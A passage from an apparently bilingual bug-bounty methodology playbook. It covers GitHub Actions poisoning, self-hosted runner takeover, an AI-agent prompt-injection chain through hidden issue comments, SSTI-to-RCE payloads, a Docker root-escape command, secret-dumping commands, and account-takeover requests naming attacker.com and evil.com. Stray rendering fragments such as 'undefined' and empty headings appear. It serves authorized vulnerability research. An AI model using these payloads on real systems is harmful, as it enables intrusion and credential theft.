    or process memory.
  4. TOCTOU — Label-gated
    pull_request_target
    workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The
    ref:
    at checkout time resolves to the new commit. Mutable refs (
    github.event.pull_request.head.sha
    at trigger time vs checkout time) are the root cause.
  5. Post-exploitation — After initial access, enumerate all secrets:
    env | base64
    ,
    cat /proc/self/environ
    ,
    gcore $(pgrep Runner.Worker)
    +
    strings core.* | grep ghp_
    . PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.
Kill signals:
if: "!github.event.pull_request.head.repo.fork"
blocks external attackers.
permissions: {}
at workflow level with only
contents: read
at job level limits damage. Ephemeral runners with
--ephemeral
flag prevent persistence.
门禁问题:Workflow 是否 checkout 攻击者控制的代码,随后执行该 Checkout 中的内容?
验证深度:
  1. 显式与隐式代码执行——Flank 的 7,500 美元漏洞:
    gh pr checkout
    ->
    gradle/gradle-build-action
    运行 Gradle -> Gradle 自动将
    settings.gradle.kts
    作为 Kotlin Script 求值。攻击者甚至没有编写
    run:
    命令。任何读取仓库配置文件的构建工具都是执行向量:
    Makefile
    、
    package.json
    (postinstall script)、
    setup.py
    、
    build.gradle.kts
    、
    .cargo/config.toml
    、
    Gemfile
    。
  2. issue_comment 与 pull_request_target 同样危险——Rspack NPM Token 窃取:
    issue_comment
    触发器 +
    refs/pull/${{ github.event.issue.number }}/head
    Checkout。
    issue_comment
    在拥有完整 Secret 的基础仓库上下文中运行。Draft PR 也会被包含。没有 Contributor Status 检查。务必检查 issue_comment Workflow 中的 PR Checkout 模式。
  3. Self-hosted Runner 升级——如果
    runs-on:
    包含
    self-hosted
    ,检查:(a)Runner 是否为临时实例?(
    config.sh
    中有
    --ephemeral
    )。(b)Runner 是否位于 Docker Group?(
    docker run -v /:/host --privileged
    )。PyTorch 模式:Contributor 技巧(修复拼写错误的 PR -> Merge -> 成为 Contributor -> 自动触发 Self-hosted Runner 上的高权限 Workflow)-> RoR(Runner-on-Runner:将
    RUNNER_TRACKING_ID=0
    并安装攻击者的 Runner Agent)-> 等待高权限
    push
    /
    schedule
    Workflow -> 窃取
    .git/config
    、
    $GITHUB_ENV
    、
    /proc/PID/environ
    或 Runner.Worker 进程内存中的 Token。
  4. TOCTOU——基于 Label 的
    pull_request_target
    Workflow:攻击者获得添加 Label 的权限,Workflow 检查 Label 是否存在,攻击者在检查与 Checkout 之间推送恶意 commit。Checkout 时的
    ref:
    会解析为新 commit。可变 ref(触发时的
    github.event.pull_request.head.sha
    与 Checkout 时的 ref)是根因。
  5. 漏洞利用后阶段——获得初始访问后,枚举所有 Secret:
    env | base64
    、
    cat /proc/self/environ
    、
    gcore $(pgrep Runner.Worker)
    +
    strings core.* | grep ghp_
    。PyTorch 攻击者获得了 3 个 Bot PAT -> 绕过 main 分支保护 -> 控制 93 个仓库 -> AWS S3 写权限 -> 发布恶意
    pip install pytorch
    供应链包。
淘汰信号:
if: "!github.event.pull_request.head.repo.fork"
会阻止外部攻击者。Workflow 级别
permissions: {}
配合 Job 级别仅
contents: read
可限制损害。临时 Runner 配置中的
--ephemeral
标志可阻止持久化。

3. Artifact Poisoning

3. Artifact 投毒

Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?
Verification depth:
  1. Cross-workflow artifact flow — Same-workflow upload/download (build job → test job via
    needs:
    ) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is:
    pull_request
    workflow uploads → separate
    workflow_run
    workflow downloads.
    workflow_run
    triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
  2. Download path matters —
    actions/download-artifact
    with
    path: .
    or workspace-relative paths (
    grafana-server/bin
    ) can overwrite source code, build scripts, or binaries. Safe pattern: extract to
    ${{ runner.temp }}/artifacts
    .
  3. Source validation — Does the
    workflow_run
    consumer check
    github.event.workflow_run.head_repository.full_name != github.repository
    ? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
  4. ArtiPACKED (persist-credentials) —
    actions/checkout
    defaults to
    persist-credentials: true
    . This writes
    GITHUB_TOKEN
    to
    .git/config
    . If the artifact upload path includes
    .git/
    (e.g.,
    path: .
    ), the token is publicly downloadable from the Actions artifact. Check: does any
    upload-artifact
    step use
    path: .
    or a broad path that includes
    .git/
    ?
Kill signals: Upload and download in the same workflow run (connected by
needs:
).
workflow_run
consumer that explicitly checks fork origin.
persist-credentials: false
on checkout.
门禁问题:是否存在两阶段 Workflow 模式——阶段 1(
pull_request
,无 Secret)上传 Artifact,阶段 2(
workflow_run
,拥有 Secret)下载并使用这些 Artifact?
验证深度:
  1. 跨 Workflow Artifact 流——同一 Workflow 内的上传/下载(Build Job -> Test Job,通过
    needs:
    连接)不可投毒,因为攻击者的 PR 运行的是自己的构建。危险模式是:
    pull_request
    Workflow 上传 -> 独立的
    workflow_run
    Workflow 下载。
    workflow_run
    在另一个 Workflow 完成后触发,并在默认分支上下文中运行,拥有完整 Secret。
  2. 下载路径很重要——
    actions/download-artifact
    的
    path: .
    或工作区相对路径(如
    grafana-server/bin
    )可以覆盖源代码、构建脚本或二进制文件。安全模式是解压到
    ${{ runner.temp }}/artifacts
    。
  3. 来源验证——
    workflow_run
    消费方是否检查
    github.event.workflow_run.head_repository.full_name != github.repository
    ?如果没有,就会盲目消费 Fork PR 的 Artifact。Rust Release Pipeline 正是以这种方式存在漏洞。
  4. ArtiPACKED(persist-credentials)——
    actions/checkout
    默认使用
    persist-credentials: true
    。这会将
    GITHUB_TOKEN
    写入
    .git/config
    。如果 Artifact 上传路径包含
    .git/
    (例如
    path: .
    ),Token 就可以通过 Actions Artifact 公开下载。检查:是否有
    upload-artifact
    步骤使用
    path: .
    或包含
    .git/
    的宽泛路径?
淘汰信号:上传和下载位于同一次 Workflow Run(通过
needs:
连接)。
workflow_run
消费方明确检查 Fork 来源。Checkout 设置
persist-credentials: false
。

4. Cache Poisoning

4. 缓存投毒

Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?
CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (
hashFiles('package-lock.json')
) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.
Verification depth:
  1. Key predictability —
    key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}
    is fully predictable. Adding
    github.sha
    or
    github.run_id
    to the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.
  2. Cache hierarchy exploitation —
    workflow_run
    and
    workflow_dispatch
    workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The
    run-dashboard-search-e2e.yml
    pattern:
    workflow_run
    trigger →
    actions/cache
    with
    hashFiles()
    key → all PR workflows read this cache.
  3. Payload injection — Cacheract: inject malware into package manager caches (
    node_modules/.cache
    ,
    ~/.cache/pip
    ,
    ~/.gradle/caches
    ). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs.
  4. Privileged consumption — The cache is restored in a
    push
    or
    schedule
    workflow on the default branch. These workflows have full
    secrets
    access. The poisoned dependency executes during
    npm install
    /
    pip install
    /
    gradle build
    and exfiltrates secrets.
  5. Clinejection chain — Prompt injection → AI agent runs
    npm install
    from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.
Kill signals: Cache key includes
github.sha
or
github.run_id
. Separate cache keys per workflow.
actions/cache/restore
(read-only) instead of
actions/cache
(read-write) in PR workflows.
门禁问题:Fork PR 能否写入缓存条目,并让默认分支随后在更高权限上下文中恢复该条目?
**关键点:GitHub 的缓存作用域并不能完全防止此问题。**PR 分支可以读取默认分支的缓存。Fork PR Workflow 可以写入缓存条目。如果缓存键是确定性的(
hashFiles('package-lock.json')
),且攻击者没有修改该文件,那么 Fork PR 会写入相同的缓存键。
验证深度:
  1. 键可预测性——
    key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}
    完全可预测。加入
    github.sha
    或
    github.run_id
    后会变得不可预测。检查每个缓存键是否包含不可预测组件。
  2. 缓存层级利用——
    workflow_run
    和
    workflow_dispatch
    Workflow 在默认分支上下文中运行。如果它们使用可预测键写入缓存,攻击者只需触发上游 Workflow(例如 Fork PR),就能预先投毒缓存。
    run-dashboard-search-e2e.yml
    模式:
    workflow_run
    触发器 ->
    actions/cache
    使用
    hashFiles()
    键 -> 所有 PR Workflow 读取此缓存。
  3. Payload 注入——Cacheract:向包管理器缓存注入恶意软件(
    node_modules/.cache
    、
    ~/.cache/pip
    、
    ~/.gradle/caches
    )。恶意软件通过“每次恢复 -> 构建 -> 保存”的循环实现自我持久化。缓存 TTL 为 7 天——Payload 可在多次 Workflow Run 之间持续存在。
  4. 高权限消费——缓存会在默认分支的
    push
    或
    schedule
    Workflow 中恢复。这些 Workflow 拥有完整
    secrets
    访问权限。被投毒的依赖会在
    npm install
    /
    pip install
    /
    gradle build
    期间执行,并外泄 Secret。
  5. Clinejection 链——Prompt Injection -> AI Agent 从攻击者 commit 执行
    npm install
    -> Cacheract 在 npm 缓存中植入恶意软件 -> 夜间发布 Workflow 恢复缓存 -> 窃取 VSCE_PAT、OVSX_PAT、NPM_RELEASE_TOKEN -> 发布恶意 Cline v2.3.0 并持续 8 小时。
淘汰信号:缓存键包含
github.sha
或
github.run_id
。每个 Workflow 使用独立缓存键。PR Workflow 中使用
actions/cache/restore
(只读),而不是
actions/cache
(读写)。

5. Self-Hosted Runners

5. Self-hosted Runner

Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?
Verification depth:
  1. Approval settings — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
  2. Runner persistence — Non-ephemeral runners retain state between jobs.
    RUNNER_TRACKING_ID=0
    prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (
    docker run -d --restart always
    ) also survive cleanup.
  3. Runner-on-Runner (RoR) — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. No C2 server needed. GitHub itself is the C2.
  4. Lateral movement — RoR persistence → wait for privileged
    push
    /
    schedule
    workflows → steal tokens from
    .git/config
    ,
    $GITHUB_ENV
    ,
    /proc/PID/environ
    , or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access →
    pip install pytorch
    supply chain.
  5. Docker group escalation —
    docker run -v /:/host --privileged alpine chroot /host
    → full host root. Add SSH keys, modify sudoers, install persistent backdoors.
Kill signals:
--ephemeral
flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).
门禁问题:公共仓库是否使用 Self-hosted Runner,且外部贡献者可以触发 Workflow?
验证深度:
  1. 审批设置——默认设置为“Require approval for first-time contributors”。合并一次 PR(即使只是拼写修复)后,攻击者就会成为“Contributor”,后续 PR 可自动触发而无需审批。GitHub Runner Images 的 2 万美元漏洞正是利用了这一技巧。
  2. Runner 持久化——非临时 Runner 会在 Job 之间保留状态。
    RUNNER_TRACKING_ID=0
    可阻止 Runner 在 Job 完成后清理攻击者进程。分离的 Docker 容器(
    docker run -d --restart always
    )也能在清理后继续运行。
  3. Runner-on-Runner(RoR)——在目标的 Self-hosted Runner 上安装官方 GitHub Actions Runner 二进制文件,并注册到攻击者的私有组织。只使用合法 GitHub 二进制文件和指向 github.com 的 HTTPS——与正常 Runner 流量无法区分。无需 C2 Server。GitHub 本身就是 C2。
  4. 横向移动——RoR 持久化 -> 等待高权限
    push
    /
    schedule
    Workflow -> 从
    .git/config
    、
    $GITHUB_ENV
    、
    /proc/PID/environ
    或 Runner.Worker 进程内存窃取 Token。PyTorch:3 个 Bot PAT -> 93 个仓库 -> AWS S3 写权限 -> 发布恶意
    pip install pytorch
    供应链包。
  5. Docker Group 升级——
    docker run -v /:/host --privileged alpine chroot /host
    -> 获取 Host Root。添加 SSH Key、修改 sudoers、安装持久化后门。
淘汰信号:Runner 注册时使用
--ephemeral
标志。要求所有外部协作者都必须审批,而不只是首次参与者。Runner 不在 Docker Group 中。私有仓库(无外部 PR)。

6. Supply Chain (commit-sha / impostor-commit / ref-confusion)

6. 供应链(Commit SHA / Impostor Commit / Ref 混淆)

Gate question: Does the workflow use mutable tags (
@v1
,
@v2
) for actions, and could those tags be replaced?
Verification depth:
  1. Tag mutability —
    git tag -f v1 <malicious-commit>
    replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
  2. Impostor commits — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's
    uses:
    . GitHub resolves it because the SHA exists in the shared object store.
  3. RepoJacking — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used
    MirrorNG/unity-runner
    → MirrorNG renamed to MirageNet →
    MirrorNG
    was claimable. Check:
    GET /users/<action-owner>
    returns 404? Takeover possible.
  4. Payload stealth — tj-actions memdump.py: extract secrets from Runner.Worker process memory via
    /proc/PID/maps
    +
    /proc/PID/mem
    , encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.
Kill signals: Full 40-char SHA pinning (
uses: actions/checkout@b4ffde65...
). Dependabot configured for
github-actions
ecosystem. Organization-level action allowlist.
门禁问题:Workflow 是否使用可变 Tag(
@v1
、
@v2
)引用 Action,这些 Tag 是否可能被替换?
验证深度:
  1. Tag 可变性——
    git tag -f v1 <malicious-commit>
    可以替换 Tag。98.4% 的仓库没有使用 SHA 固定(Legit Security 2024)。tj-actions 攻击:所有版本 Tag(v1、v35、v45)被替换为 memdump.py Payload -> 影响 2.3 万个仓库 -> 确认 218 次 Secret 泄漏。
  2. Impostor Commit——Fork 网络共享上游的 Object Store。攻击者向 Fork 推送 Commit,然后在父仓库的
    uses:
    中引用该 Commit SHA。由于 SHA 存在于共享 Object Store 中,GitHub 会正常解析它。
  3. RepoJacking——组织重命名会创建重定向,旧名称会被释放。攻击者注册旧组织名,创建同名仓库并托管恶意 Action。Shopify/unity-buy-sdk 使用了
    MirrorNG/unity-runner
    -> MirrorNG 重命名为 MirageNet ->
    MirrorNG
    变得可被认领。检查:
    GET /users/<action-owner>
    是否返回 404?是否可以接管?
  4. Payload 隐蔽性——tj-actions memdump.py:从 Runner.Worker 进程内存的
    /proc/PID/maps
    +
    /proc/PID/mem
    中提取 Secret,使用 AES+RSA 加密并输出到 Workflow Log。Log 公开可见但已加密——只有攻击者持有密钥。
淘汰信号:使用完整的 40 字符 SHA 固定(
uses: actions/checkout@b4ffde65...
)。为
github-actions
生态配置 Dependabot。配置组织级 Action Allowlist。

7. AI Agent Security

7. AI Agent 安全

Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?
Verification depth:
  1. Trigger + prompt source —
    issues: opened
    → AI triage bot reads
    github.event.issue.body
    . The body IS the prompt. HTML comments (e.g.
    <!-- [attacker override text hidden here] -->
    ) are invisible in GitHub UI but included in the API response and thus in the AI prompt.
  2. Tool permissions — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil.
    allowed_non_write_users: "*"
    means ANY user can trigger.
  3. Multi-phase chain — Clinejection: prompt injection → AI runs
    npm install
    from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.
Kill signals:
author_association == 'MEMBER' || 'OWNER'
check before AI processing.
--read-only --no-exec
flags on AI CLI.
permissions: {}
at workflow level.
门禁问题:Workflow 中是否调用了 AI Agent(Gemini CLI、Claude Code、Cline、Codex),且外部用户可以影响 Prompt?
验证深度:
  1. 触发器 + Prompt 来源——
    issues: opened
    -> AI Triage Bot 读取
    github.event.issue.body
    。正文就是 Prompt。HTML 注释(例如
    <!-- [attacker override text hidden here] -->
    )在 GitHub UI 中不可见,但会包含在 API Response 中,因此会进入 AI Prompt。
  2. 工具权限——如果 AI Agent 拥有 Bash/Write/Edit 工具,并在 Environment 中带着 Secret 运行,那么 Prompt Injection = RCE + Secret 外泄。
    allowed_non_write_users: "*"
    表示任何用户都能触发。
  3. 多阶段链——Clinejection:Prompt Injection -> AI 从攻击者 commit 执行
    npm install
    -> Cacheract 在 npm 缓存中植入恶意软件 -> 夜间发布流程恢复缓存 -> Token 被窃取 -> 恶意版本被发布。单独的 Prompt Injection 发现可能看起来严重程度较低,但它是通往缓存投毒和供应链攻击的入口。
淘汰信号:在 AI 处理前检查
author_association == 'MEMBER' || 'OWNER'
。AI CLI 使用
--read-only --no-exec
标志。Workflow 级别设置
permissions: {}
。

8. Permissions / Secrets Hygiene

8. 权限 / Secret 治理

Not standalone bugs — these are force multipliers. A
code-injection-medium
with
permissions: write-all
is Critical. The same injection with
permissions: { contents: read }
is limited.
Chaining checklist:
  • secrets: inherit
    on reusable workflow call → all org secrets accessible to called workflow
  • permissions:
    block missing → repo default (often write-all)
  • GITHUB_TOKEN
    with
    contents: write
    → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)
Key references:
这些不是独立漏洞——它们是影响倍增器。带有
permissions: write-all
的
code-injection-medium
是 Critical。同一个注入漏洞若使用
permissions: { contents: read }
,则影响受限。
攻击链检查清单:
  • Reusable Workflow 调用中的
    secrets: inherit
    -> 被调用 Workflow 可访问所有组织 Secret
  • 缺少
    permissions:
    块 -> 仓库默认值(通常为 write-all)
  • 拥有
    contents: write
    的
    GITHUB_TOKEN
    -> CVE-2022-46258 模式:使用 Contents API 创建新的 Workflow 文件 -> 新 Workflow 访问所有仓库/组织 Secret(原始 Workflow 甚至没有引用它们)
关键参考:

SSTI -- Server-Side Template Injection

SSTI——服务端模板注入

Detection Payloads

检测 Payload

{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)
{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)

Where to Test

测试位置

  • Name/bio/description fields (profile pages)
  • Email templates (invoice name, username in confirmation email)
  • Custom error messages
  • PDF generators (invoice, report export)
  • URL path parameters
  • Search queries reflected in results
  • Name/Bio/Description 字段(个人资料页)
  • 邮件模板(发票名称、确认邮件中的用户名)
  • 自定义错误消息
  • PDF 生成器(发票、报告导出)
  • URL 路径参数
  • 搜索结果中反射的查询词

Jinja2 -> RCE (Python / Flask)

Jinja2 -> RCE(Python / Flask)

python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig -> RCE (PHP / Symfony)

Twig -> RCE(PHP / Symfony)

php
{{["id"]|filter("system")}}
php
{{["id"]|filter("system")}}

Freemarker -> RCE (Java)

Freemarker -> RCE(Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

ERB -> RCE (Ruby on Rails)

ERB -> RCE(Ruby on Rails)

ruby
<%= `id` %>
ruby
<%= `id` %>

Subdomain Takeover

子域名接管

Detection

检测

bash
undefined
bash
undefined

Check for dangling CNAMEs

Check for dangling CNAMEs

cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt

Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

Automated takeover detection

Automated takeover detection

nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
undefined
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
undefined

Quick-Kill Fingerprints

快速淘汰指纹

"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify
"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify

Impact Escalation

影响升级

  • Basic takeover: serve page under target.com subdomain -> Low/Medium
    • Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
    • OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
    • CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical
  • 基础接管:在 target.com 子域名下提供页面 -> Low/Medium
    • Cookie:如果 target.com 设置了 domain=.target.com 的 Cookie -> 凭据窃取 -> High
    • OAuth 重定向:如果 sub.target.com 是已注册的 redirect_uri -> ATO 链 -> Critical
    • CSP 绕过:如果 sub.target.com 位于目标的 CSP 中 -> 任意位置 XSS -> Critical

ATO -- Account Takeover (Complete Taxonomy)

ATO——账户接管(完整分类)

Path 1: Password Reset Poisoning (Host Header Injection)

路径 1:密码重置投毒(Host 请求头注入)

bash
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
bash
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com

Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

undefined
undefined

Path 2: Reset Token in Referrer Leak

路径 2:Reset Token 通过 Referrer 泄漏

After clicking reset link, if page loads external resources -> token in Referer header to external domain.
点击重置链接后,如果页面加载外部资源,Token 会通过 Referer Header 泄漏到外部域名。

Path 3: Predictable / Weak Reset Tokens

路径 3:可预测/弱 Reset Token

bash
undefined
bash
undefined

If token < 16 hex chars or numeric only -> brute-forceable

If token < 16 hex chars or numeric only -> brute-forceable

ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
undefined
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
undefined

Path 4: Token Not Expiring / Reuse

路径 4:Token 不过期/可重复使用

Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
请求 Token -> 等待 2 小时 -> 使用 -> 仍然有效?请求 Token #1 -> 请求 Token #2 -> 使用 Token #1 -> 仍然有效?

Path 5: Email Change Without Re-Authentication

路径 5:修改邮箱时无需重新认证

bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}
bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}

If no current_password required -> attacker changes email -> locks out victim

If no current_password required -> attacker changes email -> locks out victim

undefined
undefined

Path 6: OAuth Account Linking Abuse

路径 6:滥用 OAuth 账户关联

Can you link an OAuth account from a different email to an existing account?
能否将不同邮箱的 OAuth 账户关联到现有账户?

Path 7: Session Fixation

路径 7:Session Fixation

GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
GET /login -> 记录 Set-Cookie session=XYZ -> 登录 -> Session ID 是否改变?如果没有,则存在 fixation。

Cloud / Infra Misconfigs

云 / 基础设施配置错误

S3 / GCS / Azure Blob

S3 / GCS / Azure Blob

bash
undefined
bash
undefined

S3 public listing

S3 public listing

aws s3 ls s3://target-bucket-name --no-sign-request
aws s3 ls s3://target-bucket-name --no-sign-request

Try common names

Try common names

for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" done
undefined
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" done
undefined

EC2 Metadata (via SSRF)

EC2 元数据(通过 SSRF)

bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/
bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/

Returns role name, then:

Returns role name, then:

Returns AccessKeyId, SecretAccessKey, Token -> Critical

Returns AccessKeyId, SecretAccessKey, Token -> Critical

GCP (needs header Metadata-Flavor: Google):

GCP (needs header Metadata-Flavor: Google):

Azure (needs header Metadata: true):

Azure (needs header Metadata: true):

Firebase Open Rules

Firebase 开放规则

bash
curl -s "https://TARGET-APP.firebaseio.com/.json"
bash
curl -s "https://TARGET-APP.firebaseio.com/.json"

If data returned -> open read

If data returned -> open read

curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'

If success -> open write -> Critical

If success -> open write -> Critical

undefined
undefined

Exposed Admin Panels

暴露的管理面板

bash
/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env
bash
/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env

Kubernetes / Docker

Kubernetes / Docker

bash
undefined
bash
undefined

K8s API (unauthenticated):

K8s API (unauthenticated):

Docker API:

Docker API:

PHASE 4: VALIDATE

阶段 4:验证

The 7-Question Gate (Run BEFORE Writing ANY Report)

7 问门禁(撰写任何报告前运行)

All 7 must be YES. Any NO -> STOP.
7 个问题必须全部为 YES。任何一项为 NO -> 停止。

Q1: Can I exploit this RIGHT NOW with a real PoC?

Q1:我现在能否使用真实 PoC 利用此问题?

Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
写出准确的 HTTP 请求。如果无法提供有效请求 -> 淘汰。

Q2: Does it affect a REAL user who took NO unusual actions?

Q2:它是否会影响一个没有采取任何异常操作的真实用户?

No "the user would need to..." with 5 preconditions. Victim did nothing special.
不要出现“用户需要……”并附带 5 个前置条件。受害者没有做特殊操作。

Q3: Is the impact concrete (money, PII, ATO, RCE)?

Q3:影响是否具体(资金、PII、ATO、RCE)?

"Technically possible" is not impact. "I read victim's SSN" is impact.
“技术上可行”不是影响。“我读取了受害者的 SSN”才是影响。

Q4: Is this in scope per the program policy?

Q4:它是否在计划政策规定的范围内?

Check the exact domain/endpoint against the program's scope page.
根据计划的范围页面,检查确切的域名/endpoint。

Q5: Did I check Hacktivity/changelog for duplicates?

Q5:我是否检查过 Hacktivity/CHANGELOG 以排除重复?

Search the program's disclosed reports and recent changelog entries.
搜索该计划已披露的报告和最近的 CHANGELOG 条目。

Q6: Is this NOT on the "always rejected" list?

Q6:它是否不在“始终拒绝”列表中?

Check the list below. If it's there and you can't chain it -> KILL IT.
检查下方列表。如果在列表中且无法组成攻击链 -> 淘汰。

Q7: Would a triager reading this say "yes, that's a real bug"?

Q7:审阅者读到后会不会说“这确实是一个真实漏洞”?

Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
假设自己是一名周五下午 5 点已经疲惫的审阅者。阅读报告并判断它是否合格。

4 Pre-Submission Gates

4 个提交前门禁

Gate 0: Reality Check (30 seconds)

门禁 0:现实检查(30 秒)

[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

Gate 1: Impact Validation (2 minutes)

门禁 1:影响验证(2 分钟)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

Gate 2: Deduplication Check (5 minutes)

门禁 2:去重检查(5 分钟)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

Gate 3: Report Quality (10 minutes)

门禁 3:报告质量(10 分钟)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
[ ] Title: One sentence, contains vuln class + location + impact
